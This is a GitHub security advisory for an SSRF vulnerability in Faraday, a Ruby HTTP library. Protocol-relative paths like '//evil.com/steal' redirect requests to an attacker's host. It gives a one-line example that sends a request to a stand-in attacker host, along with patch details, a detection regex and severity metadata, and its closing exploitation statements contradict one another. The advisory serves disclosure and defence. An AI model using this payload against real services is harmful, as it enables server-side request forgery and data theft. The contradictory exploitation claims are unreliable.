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GHSA-33mh-2634-fwr2
No affected components available
Impact
Faraday's build_exclusive_url method (in lib/faraday/connection.rb) uses Ruby's
URI#merge to combine the connection's base URL with a user-supplied path. Per RFC 3986,
protocol-relative URLs (e.g. //evil.com/path) are treated as network-path references
that override the base URL's host/authority component.
This means that if any application passes user-controlled input to Faraday's get(),
post(), build_url(), or other request methods, an attacker can supply a
protocol-relative URL like //attacker.com/endpoint to redirect the request to an
arbitrary host, enabling Server-Side Request Forgery (SSRF).
The ./ prefix guard added in v2.9.2 (PR #1569) explicitly exempts URLs starting with
/, so protocol-relative URLs bypass it entirely.
Example:
conn = Faraday.new(url: 'https://api.internal.com')
conn.get('//evil.com/steal')
# Request is sent to https://evil.com/steal instead of api.internal.com
Patches
Faraday v2.14.1 is patched against this security issue. All versions of Faraday up to 2.14.0 are affected.
Workarounds
NOTE: Upgrading to Faraday v2.14.1+ is the recommended action to mitigate this issue, however should that not be an option please continue reading.
Applications should validate and sanitize any user-controlled input before passing it to Faraday request methods. Specifically:
- Reject or strip input that starts with // followed by a non-/ character
- Use an allowlist of permitted path prefixes
- Alternatively, prepend ./ to all user-supplied paths before passing them to Faraday
Example validation:
def safe_path(user_input)
raise ArgumentError, "Invalid path" if user_input.match?(%r{\A//[^/]})
user_input
end
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a low impact on the confidentiality of the information.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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